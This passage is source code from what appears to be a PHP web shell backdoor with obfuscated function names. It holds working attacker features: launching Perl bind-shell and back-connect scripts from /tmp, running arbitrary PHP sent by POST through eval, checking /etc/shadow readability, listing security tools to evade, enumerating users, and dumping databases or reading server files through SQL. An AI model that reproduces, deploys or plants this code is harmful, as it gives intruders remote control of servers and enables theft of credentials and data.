| 950 | $out = tAivxvnGEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
| |
| 951 | sleep(1); | |
| 952 | echo "<pre class=ml1>$outn".tAivxvnGEx("ps aux | grep bp.pl")."</pre>";
| |
| 953 | unlink("/tmp/bp.pl");
| |
| 954 | } | |
| 955 | if($_POST['p1'] == 'bcp') {
| |
| 956 | cf("/tmp/bc.pl",$back_connect_p);
| |
| 957 | $out = tAivxvnGEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
| |
| 958 | sleep(1); | |
| 959 | echo "<pre class=ml1>$outn".tAivxvnGEx("ps aux | grep bc.pl")."</pre>";
| |
| 960 | unlink("/tmp/bc.pl");
| |
| 961 | } | |
| 962 | } | |
| 963 | echo '</div>'; | |
| 964 | tAivxvnGFooter(); | |
| 965 | } function actionPhp() {
| |
| 966 | if(isset($_POST['ajax'])) {
| |
| 967 | tAivxvnGsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true); | |
| 968 | ob_start(); | |
| 969 | eval($_POST['p1']); | |
| 970 | $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\'\0") . "';\n";
| |
| 971 | echo strlen($temp), "\n", $temp; | |
| 972 | exit; | |
| 973 | } | |
| 974 | if(empty($_POST['ajax']) && !empty($_POST['p1'])) | |
| 975 | tAivxvnGsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0); | |
| 976 | ||
| 977 | tAivxvnGHeader(); | |
| 978 | if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
| |
| 979 | echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
| |
| 980 | ob_start(); | |
| 981 | phpinfo(); | |
| 982 | $tmp = ob_get_clean(); | |
| 983 | $tmp = preg_replace(array ( | |
| 984 | '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
| |
| 985 | '!td, th {(.*)}!msiU',
| |
| 986 | '!<img[^>]+>!msiU', | |
| 987 | ), array ( | |
| 988 | '', | |
| 989 | '.e, .v, .h, .h th {$1}',
| |
| 990 | '' | |
| 991 | ), $tmp); | |
| 992 | echo str_replace('<h1','<h2', $tmp) .'</div><br>';
| |
| 993 | } | |
| 994 | echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
| |
| 995 | echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>'; | |
| 996 | if(!empty($_POST['p1'])) {
| |
| 997 | ob_start(); | |
| 998 | eval($_POST['p1']); | |
| 999 | echo htmlspecialchars(ob_get_clean()); | |
| 1000 | } | |
| 1001 | echo '</pre></div>'; | |
| 1002 | tAivxvnGFooter(); | |
| 1003 | } function actionSecInfo() {
| |
| 1004 | tAivxvnGHeader(); | |
| 1005 | echo '<h1>Server security information</h1><div class=content>'; | |
| 1006 | function tAivxvnGSecParam($n, $v) {
| |
| 1007 | $v = trim($v); | |
| 1008 | if($v) {
| |
| 1009 | echo '<span>' . $n . ': </span>'; | |
| 1010 | if(strpos($v, "\n") === false) | |
| 1011 | echo $v . '<br>'; | |
| 1012 | else | |
| 1013 | echo '<pre class=ml1>' . $v . '</pre>'; | |
| 1014 | } | |
| 1015 | } | |
| 1016 | ||
| 1017 | tAivxvnGSecParam('Server software', @getenv('SERVER_SOFTWARE'));
| |
| 1018 | if(function_exists('apache_get_modules'))
| |
| 1019 | tAivxvnGSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
| |
| 1020 | tAivxvnGSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
| |
| 1021 | tAivxvnGSecParam('Open base dir', @ini_get('open_basedir'));
| |
| 1022 | tAivxvnGSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
| |
| 1023 | tAivxvnGSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
| |
| 1024 | tAivxvnGSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
| |
| 1025 | $temp=array(); | |
| 1026 | if(function_exists('mysql_get_client_info'))
| |
| 1027 | $temp[] = "MySql (".mysql_get_client_info().")";
| |
| 1028 | if(function_exists('mssql_connect'))
| |
| 1029 | $temp[] = "MSSQL"; | |
| 1030 | if(function_exists('pg_connect'))
| |
| 1031 | $temp[] = "PostgreSQL"; | |
| 1032 | if(function_exists('oci_connect'))
| |
| 1033 | $temp[] = "Oracle"; | |
| 1034 | tAivxvnGSecParam('Supported databases', implode(', ', $temp));
| |
| 1035 | echo '<br>'; | |
| 1036 | ||
| 1037 | if($GLOBALS['os'] == 'nix') {
| |
| 1038 | tAivxvnGSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
| |
| 1039 | tAivxvnGSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
| |
| 1040 | tAivxvnGSecParam('OS version', @file_get_contents('/proc/version'));
| |
| 1041 | tAivxvnGSecParam('Distr name', @file_get_contents('/etc/issue.net'));
| |
| 1042 | if(!$GLOBALS['safe_mode']) {
| |
| 1043 | $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
| |
| 1044 | $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
| |
| 1045 | $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
| |
| 1046 | echo '<br>'; | |
| 1047 | $temp=array(); | |
| 1048 | foreach ($userful as $item) | |
| 1049 | if(tAivxvnGWhich($item)) | |
| 1050 | $temp[] = $item; | |
| 1051 | tAivxvnGSecParam('Userful', implode(', ',$temp));
| |
| 1052 | $temp=array(); | |
| 1053 | foreach ($danger as $item) | |
| 1054 | if(tAivxvnGWhich($item)) | |
| 1055 | $temp[] = $item; | |
| 1056 | tAivxvnGSecParam('Danger', implode(', ',$temp));
| |
| 1057 | $temp=array(); | |
| 1058 | foreach ($downloaders as $item) | |
| 1059 | if(tAivxvnGWhich($item)) | |
| 1060 | $temp[] = $item; | |
| 1061 | tAivxvnGSecParam('Downloaders', implode(', ',$temp));
| |
| 1062 | echo '<br/>'; | |
| 1063 | tAivxvnGSecParam('HDD space', tAivxvnGEx('df -h'));
| |
| 1064 | tAivxvnGSecParam('Hosts', @file_get_contents('/etc/hosts'));
| |
| 1065 | echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
| |
| 1066 | if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
| |
| 1067 | $temp = ""; | |
| 1068 | for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
| |
| 1069 | $uid = @posix_getpwuid($_POST['p2']); | |
| 1070 | if ($uid) | |
| 1071 | $temp .= join(':',$uid)."\n";
| |
| 1072 | } | |
| 1073 | echo '<br/>'; | |
| 1074 | tAivxvnGSecParam('Users', $temp);
| |
| 1075 | } | |
| 1076 | } | |
| 1077 | } else {
| |
| 1078 | tAivxvnGSecParam('OS Version',tAivxvnGEx('ver'));
| |
| 1079 | tAivxvnGSecParam('Account Settings',tAivxvnGEx('net accounts'));
| |
| 1080 | tAivxvnGSecParam('User Accounts',tAivxvnGEx('net user'));
| |
| 1081 | } | |
| 1082 | echo '</div>'; | |
| 1083 | tAivxvnGFooter(); | |
| 1084 | } function actionSql() {
| |
| 1085 | class DbClass {
| |
| 1086 | var $type; | |
| 1087 | var $link; | |
| 1088 | var $res; | |
| 1089 | function DbClass($type) {
| |
| 1090 | $this->type = $type; | |
| 1091 | } | |
| 1092 | function connect($host, $user, $pass, $dbname){
| |
| 1093 | switch($this->type) {
| |
| 1094 | case 'mysql': | |
| 1095 | if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true; | |
| 1096 | break; | |
| 1097 | case 'pgsql': | |
| 1098 | $host = explode(':', $host);
| |
| 1099 | if(!$host[1]) $host[1]=5432; | |
| 1100 | if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
| |
| 1101 | break; | |
| 1102 | } | |
| 1103 | return false; | |
| 1104 | } | |
| 1105 | function selectdb($db) {
| |
| 1106 | switch($this->type) {
| |
| 1107 | case 'mysql': | |
| 1108 | if (@mysql_select_db($db))return true; | |
| 1109 | break; | |
| 1110 | } | |
| 1111 | return false; | |
| 1112 | } | |
| 1113 | function query($str) {
| |
| 1114 | switch($this->type) {
| |
| 1115 | case 'mysql': | |
| 1116 | return $this->res = @mysql_query($str); | |
| 1117 | break; | |
| 1118 | case 'pgsql': | |
| 1119 | return $this->res = @pg_query($this->link,$str); | |
| 1120 | break; | |
| 1121 | } | |
| 1122 | return false; | |
| 1123 | } | |
| 1124 | function fetch() {
| |
| 1125 | $res = func_num_args()?func_get_arg(0):$this->res; | |
| 1126 | switch($this->type) {
| |
| 1127 | case 'mysql': | |
| 1128 | return @mysql_fetch_assoc($res); | |
| 1129 | break; | |
| 1130 | case 'pgsql': | |
| 1131 | return @pg_fetch_assoc($res); | |
| 1132 | break; | |
| 1133 | } | |
| 1134 | return false; | |
| 1135 | } | |
| 1136 | function listDbs() {
| |
| 1137 | switch($this->type) {
| |
| 1138 | case 'mysql': | |
| 1139 | return $this->query("SHOW databases");
| |
| 1140 | break; | |
| 1141 | case 'pgsql': | |
| 1142 | return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
| |
| 1143 | break; | |
| 1144 | } | |
| 1145 | return false; | |
| 1146 | } | |
| 1147 | function listTables() {
| |
| 1148 | switch($this->type) {
| |
| 1149 | case 'mysql': | |
| 1150 | return $this->res = $this->query('SHOW TABLES');
| |
| 1151 | break; | |
| 1152 | case 'pgsql': | |
| 1153 | return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
| |
| 1154 | break; | |
| 1155 | } | |
| 1156 | return false; | |
| 1157 | } | |
| 1158 | function error() {
| |
| 1159 | switch($this->type) {
| |
| 1160 | case 'mysql': | |
| 1161 | return @mysql_error(); | |
| 1162 | break; | |
| 1163 | case 'pgsql': | |
| 1164 | return @pg_last_error(); | |
| 1165 | break; | |
| 1166 | } | |
| 1167 | return false; | |
| 1168 | } | |
| 1169 | function setCharset($str) {
| |
| 1170 | switch($this->type) {
| |
| 1171 | case 'mysql': | |
| 1172 | if(function_exists('mysql_set_charset'))
| |
| 1173 | return @mysql_set_charset($str, $this->link); | |
| 1174 | else | |
| 1175 | $this->query('SET CHARSET '.$str);
| |
| 1176 | break; | |
| 1177 | case 'pgsql': | |
| 1178 | return @pg_set_client_encoding($this->link, $str); | |
| 1179 | break; | |
| 1180 | } | |
| 1181 | return false; | |
| 1182 | } | |
| 1183 | function loadFile($str) {
| |
| 1184 | switch($this->type) {
| |
| 1185 | case 'mysql': | |
| 1186 | return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
| |
| 1187 | break; | |
| 1188 | case 'pgsql': | |
| 1189 | $this->query("CREATE TABLE tAivxvnG2(file text);COPY tAivxvnG2 FROM '".addslashes($str)."';select file from tAivxvnG2;");
| |
| 1190 | $r=array(); | |
| 1191 | while($i=$this->fetch()) | |
| 1192 | $r[] = $i['file']; | |
| 1193 | $this->query('drop table tAivxvnG2');
| |
| 1194 | return array('file'=>implode("\n",$r));
| |
| 1195 | break; | |
| 1196 | } | |
| 1197 | return false; | |
| 1198 | } | |
| 1199 | function dump($table, $fp = false) {
| |
| 1200 | switch($this->type) {
| |
| 1201 | case 'mysql': | |
| 1202 | $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
| |
| 1203 | $create = mysql_fetch_array($res); | |
| 1204 | $sql = $create[1].";\n"; | |
| 1205 | if($fp) fwrite($fp, $sql); else echo($sql); | |
| 1206 | $this->query('SELECT * FROM `'.$table.'`');
| |
| 1207 | $i = 0; | |
| 1208 | $head = true; | |
| 1209 | while($item = $this->fetch()) {
| |
| 1210 | $sql = ''; | |
| 1211 | if($i % 1000 == 0) {
| |
| 1212 | $head = true; | |
| 1213 | $sql = ";\n\n"; | |
| 1214 | } | |
| 1215 | ||
| 1216 | $columns = array(); | |
| 1217 | foreach($item as $k=>$v) {
| |
| 1218 | if($v === null) | |
| 1219 | $item[$k] = "NULL"; | |
| 1220 | elseif(is_int($v)) | |
| 1221 | $item[$k] = $v; | |
| 1222 | else | |
| 1223 | $item[$k] = "'".@mysql_real_escape_string($v)."'"; | |
| 1224 | $columns[] = "`".$k."`"; | |
| 1225 | } | |
| 1226 | if($head) {
| |
| 1227 | $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
| |
| 1228 | $head = false; | |
| 1229 | } else | |
| 1230 | $sql .= "\n\t,(".implode(", ", $item).')';
| |
| 1231 | if($fp) fwrite($fp, $sql); else echo($sql); | |
| 1232 | $i++; | |
| 1233 | } | |
| 1234 | if(!$head) | |
| 1235 | if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
| |
| 1236 | break; | |
| 1237 | case 'pgsql': | |
| 1238 | $this->query('SELECT * FROM '.$table);
| |
| 1239 | while($item = $this->fetch()) {
| |
| 1240 | $columns = array(); | |
| 1241 | foreach($item as $k=>$v) {
| |
| 1242 | $item[$k] = "'".addslashes($v)."'"; | |
| 1243 | $columns[] = $k; | |
| 1244 | } | |
| 1245 | $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
| |
| 1246 | if($fp) fwrite($fp, $sql); else echo($sql); | |
| 1247 | } | |
| 1248 | break; | |
| 1249 | } | |
| 1250 | return false; | |
| 1251 | } | |
| 1252 | }; | |
| 1253 | $db = new DbClass($_POST['type']); | |
| 1254 | if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
| |
| 1255 | $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']); | |
| 1256 | $db->selectdb($_POST['sql_base']); | |
| 1257 | switch($_POST['charset']) {
| |
| 1258 | case "Windows-1251": $db->setCharset('cp1251'); break;
| |
| 1259 | case "UTF-8": $db->setCharset('utf8'); break;
| |
| 1260 | case "KOI8-R": $db->setCharset('koi8r'); break;
| |
| 1261 | case "KOI8-U": $db->setCharset('koi8u'); break;
| |
| 1262 | case "cp866": $db->setCharset('cp866'); break;
| |
| 1263 | } | |
| 1264 | if(empty($_POST['file'])) {
| |
| 1265 | ob_start("ob_gzhandler", 4096);
| |
| 1266 | header("Content-Disposition: attachment; filename=dump.sql");
| |
| 1267 | header("Content-Type: text/plain");
| |
| 1268 | foreach($_POST['tbl'] as $v) | |
| 1269 | $db->dump($v); | |
| 1270 | exit; | |
| 1271 | } elseif($fp = @fopen($_POST['file'], 'w')) {
| |
| 1272 | foreach($_POST['tbl'] as $v) | |
| 1273 | $db->dump($v, $fp); | |
| 1274 | fclose($fp); | |
| 1275 | unset($_POST['p2']); | |
| 1276 | } else | |
| 1277 | die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
| |
| 1278 | } | |
| 1279 | tAivxvnGHeader(); | |
| 1280 | echo " | |
| 1281 | <h1>Sql browser</h1><div class=content> | |
| 1282 | <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr> | |
| 1283 | <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr> | |
| 1284 | <input type=hidden name=ne value=''><input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'> | |
| 1285 | <td><select name='type'><option value='mysql' "; | |
| 1286 | if(@$_POST['type']=='mysql')echo 'selected'; | |
| 1287 | echo ">MySql</option><option value='pgsql' "; | |
| 1288 | if(@$_POST['type']=='pgsql')echo 'selected'; | |
| 1289 | echo ">PostgreSql</option></select></td> | |
| 1290 | <td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td> | |
| 1291 | <td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td> | |
| 1292 | <td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>"; | |
| 1293 | $tmp = "<input type=text name=sql_base value=''>"; | |
| 1294 | if(isset($_POST['sql_host'])){
| |
| 1295 | if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
| |
| 1296 | switch($_POST['charset']) {
| |
| 1297 | case "Windows-1251": $db->setCharset('cp1251'); break;
| |
| 1298 | case "UTF-8": $db->setCharset('utf8'); break;
| |
| 1299 | case "KOI8-R": $db->setCharset('koi8r'); break;
| |
| 1300 | case "KOI8-U": $db->setCharset('koi8u'); break;
| |
| 1301 | case "cp866": $db->setCharset('cp866'); break;
| |
| 1302 | } | |
| 1303 | $db->listDbs(); | |
| 1304 | echo "<select name=sql_base><option value=''></option>"; | |
| 1305 | while($item = $db->fetch()) {
| |
| 1306 | list($key, $value) = each($item); | |
| 1307 | echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>'; | |
| 1308 | } | |
| 1309 | echo '</select>'; | |
| 1310 | } | |
| 1311 | else echo $tmp; | |
| 1312 | }else | |
| 1313 | echo $tmp; | |
| 1314 | echo "</td> | |
| 1315 | <td><input type=submit value='>>' onclick='fs(d.sf);'></td> | |
| 1316 | <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td> | |
| 1317 | </tr> | |
| 1318 | </table> | |
| 1319 | <script> | |
| 1320 | s_db='".@addslashes($_POST['sql_base'])."'; | |
| 1321 | function fs(f) {
| |
| 1322 | if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
| |
| 1323 | if(f.p1) f.p1.value=''; | |
| 1324 | if(f.p2) f.p2.value=''; | |
| 1325 | if(f.p3) f.p3.value=''; | |
| 1326 | } | |
| 1327 | } | |
| 1328 | function st(t,l) {
| |
| 1329 | d.sf.p1.value = 'select'; | |
| 1330 | d.sf.p2.value = t; | |
| 1331 | if(l && d.sf.p3) d.sf.p3.value = l; | |
| 1332 | d.sf.submit(); | |
| 1333 | } | |
| 1334 | function is() {
| |
| 1335 | for(i=0;i<d.sf.elements['tbl[]'].length;++i) | |
| 1336 | d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked; | |
| 1337 | } | |
| 1338 | </script>"; | |
| 1339 | if(isset($db) && $db->link){
| |
| 1340 | echo "<br/><table width=100% cellpadding=2 cellspacing=0>"; | |
| 1341 | if(!empty($_POST['sql_base'])){
| |
| 1342 | $db->selectdb($_POST['sql_base']); | |
| 1343 | echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>"; | |
| 1344 | $tbls_res = $db->listTables(); | |
| 1345 | while($item = $db->fetch($tbls_res)) {
| |
| 1346 | list($key, $value) = each($item); | |
| 1347 | if(!empty($_POST['sql_count'])) | |
| 1348 | $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
| |
| 1349 | $value = htmlspecialchars($value); | |
| 1350 | echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
| |
| 1351 | } | |
| 1352 | echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>"; | |
| 1353 | if(@$_POST['p1'] == 'select') {
| |
| 1354 | $_POST['p1'] = 'query'; | |
| 1355 | $_POST['p3'] = $_POST['p3']?$_POST['p3']:1; | |
| 1356 | $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
| |
| 1357 | $num = $db->fetch(); | |
| 1358 | $pages = ceil($num['n'] / 30); | |
| 1359 | echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
| |
| 1360 | echo " of $pages"; | |
| 1361 | if($_POST['p3'] > 1) | |
| 1362 | echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>"; | |
| 1363 | if($_POST['p3'] < $pages) | |
| 1364 | echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>"; | |
| 1365 | $_POST['p3']--; | |
| 1366 | if($_POST['type']=='pgsql') | |
| 1367 | $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30); | |
| 1368 | else | |
| 1369 | $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30'; | |
| 1370 | echo "<br><br>"; | |
| 1371 | } | |
| 1372 | if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
| |
| 1373 | $db->query(@$_POST['p2']); | |
| 1374 | if($db->res !== false) {
| |
| 1375 | $title = false; | |
| 1376 | echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">'; | |
| 1377 | $line = 1; | |
| 1378 | while($item = $db->fetch()) {
| |
| 1379 | if(!$title) {
| |
| 1380 | echo '<tr>'; | |
| 1381 | foreach($item as $key => $value) | |
| 1382 | echo '<th>'.$key.'</th>'; | |
| 1383 | reset($item); | |
| 1384 | $title=true; | |
| 1385 | echo '</tr><tr>'; | |
| 1386 | $line = 2; | |
| 1387 | } | |
| 1388 | echo '<tr class="l'.$line.'">'; | |
| 1389 | $line = $line==1?2:1; | |
| 1390 | foreach($item as $key => $value) {
| |
| 1391 | if($value == null) | |
| 1392 | echo '<td><i>null</i></td>'; | |
| 1393 | else | |
| 1394 | echo '<td>'.nl2br(htmlspecialchars($value)).'</td>'; | |
| 1395 | } | |
| 1396 | echo '</tr>'; | |
| 1397 | } | |
| 1398 | echo '</table>'; | |
| 1399 | } else {
| |
| 1400 | echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>'; | |
| 1401 | } | |
| 1402 | } | |
| 1403 | echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>"; | |
| 1404 | if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile')) | |
| 1405 | echo htmlspecialchars($_POST['p2']); | |
| 1406 | echo "</textarea><br/><input type=submit value='Execute'>"; | |
| 1407 | echo "</td></tr>"; | |
| 1408 | } | |
| 1409 | echo "</table></form><br/>"; | |
| 1410 | if($_POST['type']=='mysql') {
| |
| 1411 | $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
| |
| 1412 | if($db->fetch()) | |
| 1413 | echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>"; | |
| 1414 | } | |
| 1415 | if(@$_POST['p1'] == 'loadfile') {
| |
| 1416 | $file = $db->loadFile($_POST['p2']); | |
| 1417 | echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>'; | |
| 1418 | } | |
| 1419 | } else {
| |
| 1420 | echo htmlspecialchars($db->error()); | |
| 1421 | } | |
| 1422 | echo '</div>'; | |
| 1423 | tAivxvnGFooter(); | |
| 1424 | } function actionStringTools() {
| |
| 1425 | if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
| |
| 1426 | if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
| |
| 1427 | if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
| |
| 1428 | if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
| |
| 1429 | if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
| |
| 1430 | $stringTools = array( | |
| 1431 | 'Base64 encode' => 'base64_encode', | |
| 1432 | 'Base64 decode' => 'base64_decode', | |
| 1433 | 'Url encode' => 'urlencode', | |
| 1434 | 'Url decode' => 'urldecode', | |
| 1435 | 'Full urlencode' => 'full_urlencode', | |
| 1436 | 'md5 hash' => 'md5', | |
| 1437 | 'sha1 hash' => 'sha1', | |
| 1438 | 'crypt' => 'crypt', | |
| 1439 | 'CRC32' => 'crc32', | |
| 1440 | 'ASCII to HEX' => 'ascii2hex', | |
| 1441 | 'HEX to ASCII' => 'hex2ascii', | |
| 1442 | 'HEX to DEC' => 'hexdec', | |
| 1443 | 'HEX to BIN' => 'hex2bin', | |
| 1444 | 'DEC to HEX' => 'dechex', | |
| 1445 | 'DEC to BIN' => 'decbin', | |
| 1446 | 'BIN to HEX' => 'binhex', | |
| 1447 | 'BIN to DEC' => 'bindec', | |
| 1448 | 'String to lower case' => 'strtolower', | |
| 1449 | 'String to upper case' => 'strtoupper', | |
| 1450 | 'Htmlspecialchars' => 'htmlspecialchars', | |
| 1451 | 'String length' => 'strlen', | |
| 1452 | ); | |
| 1453 | if(isset($_POST['ajax'])) {
| |
| 1454 | tAivxvnGsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true); | |
| 1455 | ob_start(); | |
| 1456 | if(in_array($_POST['p1'], $stringTools)) | |
| 1457 | echo $_POST['p1']($_POST['p2']); | |
| 1458 | $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
| |
| 1459 | echo strlen($temp), "\n", $temp; | |
| 1460 | exit; | |
| 1461 | } | |
| 1462 | if(empty($_POST['ajax'])&&!empty($_POST['p1'])) | |
| 1463 | tAivxvnGsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0); | |
| 1464 | tAivxvnGHeader(); | |
| 1465 | echo '<h1>String conversions</h1><div class=content>'; | |
| 1466 | echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
| |
| 1467 | foreach($stringTools as $k => $v) | |
| 1468 | echo "<option value='".htmlspecialchars($v)."'>".$k."</option>"; | |
| 1469 | echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>"; | |
| 1470 | if(!empty($_POST['p1'])) {
| |
| 1471 | if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2'])); | |
| 1472 | } | |
| 1473 | echo"</pre></div><br><h1>Search files:</h1><div class=content> | |
| 1474 | <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'> | |
| 1475 | <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr> | |
| 1476 | <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr> | |
| 1477 | <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr> | |
| 1478 | <tr><td></td><td><input type='submit' value='>>'></td></tr> | |
| 1479 | </table></form>"; | |
| 1480 | ||
| 1481 | function tAivxvnGRecursiveGlob($path) {
| |
| 1482 | if(substr($path, -1) != '/') | |
| 1483 | $path.='/'; | |
| 1484 | $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR))); | |
| 1485 | if(is_array($paths)&&@count($paths)) {
| |
| 1486 | foreach($paths as $item) {
| |
